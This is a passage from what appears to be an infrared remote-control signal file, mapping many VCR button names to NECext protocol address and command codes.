FR_ADV_SLOW_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: INDEX_SEARCH_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: VCR_JOG/ADJ-(IND_SRC -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: JOG/ADJUST_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: RS/- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: INDEX_SRCH_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: INDEX_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: VCR_INDEX_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: VCR_JOG/INDEX_S.- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: VCRA_INDEX_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: VCRA_INDEX_SEARCH_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: VCRA_SRCH_INDEX_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: INDEX_<<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: VCRA_ADJUST_< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 16 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 17 00 00 00 -# -name: VCRA_REPEAT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 17 00 00 00 -# -name: 4_WED -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 18 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 18 00 00 00 -# -name: VCR_4 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 18 00 00 00 -# -name: VCRA_4 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 18 00 00 00 -# -name: INPUT_DOWN -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1A 00 00 00 -# -name: PROG_LIST_ON/OFF -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1B 00 00 00 -# -name: PROG.LIST_ON/OFF -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1B 00 00 00 -# -name: DATA_ON_SCREEN -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1B 00 00 00 -# -name: PAUSE/STILL_ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1C 00 00 00 -# -name: STILL/PAUSE_ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1C 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1C 00 00 00 -# -name: VCR_PAUSE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1C 00 00 00 -# -name: VCR_PAUSE_ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1C 00 00 00 -# -name: PAUSE_/_STILL -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1C 00 00 00 -# -name: VCRA_PAUSE_ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1C 00 00 00 -# -name: VCRA_PAUSE/STILL_ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1C 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1D 00 00 00 -# -name: SET_TIME_COUNTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1D 00 00 00 -# -name: PROG_REC_ON/OFF -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1F 00 00 00 -# -name: PROG.REC_ON/OFF -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 1F 00 00 00 -# -name: 5_THU -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 20 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 20 00 00 00 -# -name: VCR_5 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 20 00 00 00 -# -name: VCRA_5 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 20 00 00 00 -# -name: ADDRESS_SEARCH -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 23 00 00 00 -# -name: FF/SRCH_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: VCR_FFWD>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: FF>>_(ADJUST_+) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: VCR_FF_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: FFWD_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: VCRA_FF_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: VCRA_FF/SRCH_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: VCRA_FF/FWD_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: FAST_PLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 25 00 00 00 -# -name: FAST_PLAY_X2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 25 00 00 00 -# -name: VCR_QV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 25 00 00 00 -# -name: QV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 25 00 00 00 -# -name: Q.V. -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 25 00 00 00 -# -name: VCRA_QV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 25 00 00 00 -# -name: VCRA_Q.V. -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 25 00 00 00 -# -name: X2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 25 00 00 00 -# -name: VCRA_SQV/QV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 25 00 00 00 -# -name: DATA_ON_SCREEN -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 27 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 27 00 00 00 -# -name: VCR_DISPLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 27 00 00 00 -# -name: VCRA_DISPLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 27 00 00 00 -# -name: VCRA_DATA_ON_SCREEN -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 27 00 00 00 -# -name: VCRA_INFO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 27 00 00 00 -# -name: 6_FRI -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 28 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 28 00 00 00 -# -name: VCR_6 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 28 00 00 00 -# -name: VCRA_6 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 28 00 00 00 -# -name: PROG_NBR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2B 00 00 00 -# -name: V_PROG.NBR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2B 00 00 00 -# -name: REW/SRCH_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2C 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2C 00 00 00 -# -name: VCR_REW<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2C 00 00 00 -# -name: REW<<_(ADJUST_-) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2C 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2C 00 00 00 -# -name: VCR_REW_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2C 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2C 00 00 00 -# -name: VCRA_REW_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2C 00 00 00 -# -name: VCRA_REW/SRCH_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2C 00 00 00 -# -name: VCRA_REW/REV_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2C 00 00 00 -# -name: R_PLAY_< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2D 00 00 00 -# -name: PLAY_R._< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2D 00 00 00 -# -name: REVERSE_PLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2D 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2E 00 00 00 -# -name: SEARCH_TIME_COUNTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2E 00 00 00 -# -name: OFF-T_OTR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2F 00 00 00 -# -name: OFF-T/OTR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2F 00 00 00 -# -name: OTR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2F 00 00 00 -# -name: OTR_RECORD_TIME -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2F 00 00 00 -# -name: VCRA_OFF-T_OTR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2F 00 00 00 -# -name: VCRA_OFF-T/OTR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2F 00 00 00 -# -name: VCR/TV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2F 00 00 00 -# -name: VCRA_SLEEP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2F 00 00 00 -# -name: 7_SAT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 30 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 30 00 00 00 -# -name: VCR_7 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 30 00 00 00 -# -name: VCRA_7 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 30 00 00 00 -# -name: SELECT_>_QUAD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 33 00 00 00 -# -name: SELECT_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 33 00 00 00 -# -name: QUICK_PROGRAM -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 33 00 00 00 -# -name: VCR_QUI.PGM/PLUS+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 33 00 00 00 -# -name: VCR_PLUS+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 33 00 00 00 -# -name: VCR_Q.PROG/VCR_PLUS+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 33 00 00 00 -# -name: VCRA_QUICK_PROGRAM -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 33 00 00 00 -# -name: QUICK_PROGRAM/VCR+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 33 00 00 00 -# -name: VCRA_QUICKPRM/VCR+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 33 00 00 00 -# -name: SLOW_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 34 00 00 00 -# -name: INDEX_SEARCH_SLOW_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 34 00 00 00 -# -name: FR_ADV_SLOW_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 34 00 00 00 -# -name: SLOW/FR_ADV_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 34 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 34 00 00 00 -# -name: SLOW/FRAME_ADV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 34 00 00 00 -# -name: SLOW_/_FRAME_ADVANCE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 34 00 00 00 -# -name: CHANNEL_SELECT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 35 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 35 00 00 00 -# -name: ENTER_SLOW/FR_ADV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 35 00 00 00 -# -name: VCR_ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 35 00 00 00 -# -name: VCRA_ENTER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 35 00 00 00 -# -name: ENTER_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 35 00 00 00 -# -name: VCRA_ENTER_(EXCH) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 35 00 00 00 -# -name: VCR_EJECT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 36 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 36 00 00 00 -# -name: VCRA_EJECT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 36 00 00 00 -# -name: 8_M-F -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 38 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 38 00 00 00 -# -name: VCR_8 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 38 00 00 00 -# -name: VCRA_8 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 38 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 39 00 00 00 -# -name: VCRA_ANT_A/B -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 39 00 00 00 -# -name: INPUT_SELECT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3A 00 00 00 -# -name: VCR_INPUT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3A 00 00 00 -# -name: INPUT_X2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3A 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3A 00 00 00 -# -name: INPUT_UP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3A 00 00 00 -# -name: VCR_INPUT(X2) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3A 00 00 00 -# -name: VCRA_INPUT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3A 00 00 00 -# -name: INPUT_(X2) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3A 00 00 00 -# -name: VCRA_INPUT_SELECT -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3A 00 00 00 -# -name: SET_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3B 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3B 00 00 00 -# -name: SLOW_< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3C 00 00 00 -# -name: SLOW/FR_ADV_< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3C 00 00 00 -# -name: SKIP_SEARCH -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3D 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3D 00 00 00 -# -name: VCRA_SRCH_SKIP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3D 00 00 00 -# -name: SP/EP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3E 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 3F 00 00 00 -# -name: FUNCTION_VIDEO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 40 00 00 00 -# -name: VCR_AUDIO/VIDEO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 40 00 00 00 -# -name: AUDIO/VIDEO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 40 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 40 00 00 00 -# -name: VIDEO_UP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 40 00 00 00 -# -name: VCR_FUNC.VIDEO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 40 00 00 00 -# -name: VCR_VIDEO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 40 00 00 00 -# -name: VIDEO_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 40 00 00 00 -# -name: VCRA_FUNC_VIDEO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 40 00 00 00 -# -name: VCRA_VIDEO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 40 00 00 00 -# -name: VCRA_VIDEO_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 40 00 00 00 -# -name: ADJUST_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 41 00 00 00 -# -name: ADJUST_UP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 41 00 00 00 -# -name: VCR_ADJUST_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 41 00 00 00 -# -name: ADJUST_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 41 00 00 00 -# -name: VCRA_ADJUST_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 41 00 00 00 -# -name: POWER_ON_(ALT.) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 42 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 44 00 00 00 -# -name: VCRA_S.(QUICK_VIEW) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 45 00 00 00 -# -name: TIME_SEARCH -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 47 00 00 00 -# -name: VIDEO_DOWN -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 48 00 00 00 -# -name: VIDEO_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 48 00 00 00 -# -name: VCRA_VIDEO_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 48 00 00 00 -# -name: ADJUST_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 49 00 00 00 -# -name: ADJUST_DOWN -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 49 00 00 00 -# -name: VCR_ADJUST_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 49 00 00 00 -# -name: ADJUST_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 49 00 00 00 -# -name: VCRA_ADJUST_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 49 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4A 00 00 00 -# -name: SCAN_REV_(NEW) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4B 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4B 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4B 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4C 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4C 00 00 00 -# -name: VCRA_SHUTTLE_FWD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4C 00 00 00 -# -name: VCRA_S.(RE.SP.SRCH) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4D 00 00 00 -# -name: STILL/STROBE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 4F 00 00 00 -# -name: FUNCTION_AUDIO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 50 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 50 00 00 00 -# -name: AUDIO_UP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 50 00 00 00 -# -name: VCR_FUNC.AUDIO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 50 00 00 00 -# -name: VCR_AUDIO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 50 00 00 00 -# -name: AUDIO_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 50 00 00 00 -# -name: VCRA_FUNC_AUDIO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 50 00 00 00 -# -name: VCRA_AUDIO -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 50 00 00 00 -# -name: VCRA_AUDIO_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 50 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 52 00 00 00 -# -name: VCR_MENU -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 52 00 00 00 -# -name: ENTER_(MENU) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 52 00 00 00 -# -name: VCRA_MENU -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 52 00 00 00 -# -name: VCRA_S.(F.SP.SRCH) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 55 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 56 00 00 00 -# -name: VCRA_JOG/SHUTTLE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 56 00 00 00 -# -name: CHANNEL -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 57 00 00 00 -# -name: AUDIO_DOWN -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 58 00 00 00 -# -name: AUDIO_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 58 00 00 00 -# -name: VCRA_AUDIO_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 58 00 00 00 -# -name: INPUT_TUNER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 5A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 5B 00 00 00 -# -name: VCRA_S(RE.PLAY_BACK) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 5B 00 00 00 -# -name: VCRA_SHU.FWD(NORMAL) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 5C 00 00 00 -# -name: ADDRESS_SEARCH_DIVID -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 5F 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 62 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 67 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 6A 00 00 00 -# -name: VCRA_S.(R.FAST_P.B.) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 6B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 6C 00 00 00 -# -name: STROBE -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 6F 00 00 00 -# -name: ADJUST_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 73 00 00 00 -# -name: VCR_ADJUST_REV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 73 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 73 00 00 00 -# -name: JOG/SHUTTLE_REV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 73 00 00 00 -# -name: VCRA_JOG_REV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 73 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 73 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 73 00 00 00 -# -name: VCRA_ADJUST-JOG -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 73 00 00 00 -# -name: ADJUST_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 74 00 00 00 -# -name: VCR_ADJUST_FWD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 74 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 74 00 00 00 -# -name: JOG/SHUTTLE_FF -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 74 00 00 00 -# -name: VCRA_JOG_FWD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 74 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 74 00 00 00 -# -name: VCRA_ADJUST+JOG -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 74 00 00 00 -# -name: VCR_ENTER_FWD(F.SP) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 75 00 00 00 -# -name: VCRA_S.(F.H.SP.SRCH) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 75 00 00 00 -# -name: VCRA_SHUTTLE_FWD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 75 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 77 00 00 00 -# -name: VCR_ENTER_REV(F.SP) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 7D 00 00 00 -# -name: VCRA_S.(R.H.SP.SRCH) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 7D 00 00 00 -# -name: VCRA_SHUTTLE_REW -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 7D 00 00 00 -# -name: VCRB_1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 80 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 80 00 00 00 -# -name: VCR-B -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 80 00 00 00 -# -name: VCRB_9 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 81 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 81 00 00 00 -# -name: VCRB_POWER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 82 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 82 00 00 00 -# -name: VCRB_PLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 84 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 84 00 00 00 -# -name: VCRB_PLAY_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 84 00 00 00 -# -name: VCRB_VCR/TV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 85 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 85 00 00 00 -# -name: VCRB_VIDEO/TV -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 85 00 00 00 -# -name: VCRB_2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 88 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 88 00 00 00 -# -name: VCRB_0 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 89 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 89 00 00 00 -# -name: VCRB_CHANNEL_^ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8A 00 00 00 -# -name: VCRB_SCAN_^_(CH_^) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8A 00 00 00 -# -name: VCRB_CANCEL -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8B 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8B 00 00 00 -# -name: VCRB_RECORD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8C 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8C 00 00 00 -# -name: VCRB_REC -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8C 00 00 00 -# -name: VCRB_INDEX_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8E 00 00 00 -# -name: INDEX_SEARCH_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8E 00 00 00 -# -name: VCRB_INDEX_SEARCH_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8E 00 00 00 -# -name: VCRB_SRCH_INDEX_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8E 00 00 00 -# -name: VCRB_ADJUST_> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 8E 00 00 00 -# -name: VCRB_3 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 90 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 90 00 00 00 -# -name: VCRB_CHANNEL_V -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 92 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 92 00 00 00 -# -name: VCRB_SCAN_V_(CH_V) -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 92 00 00 00 -# -name: VCRB_STOP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 94 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 94 00 00 00 -# -name: VCRB_STOP_[] -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 94 00 00 00 -# -name: VCRB_INDEX_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 96 00 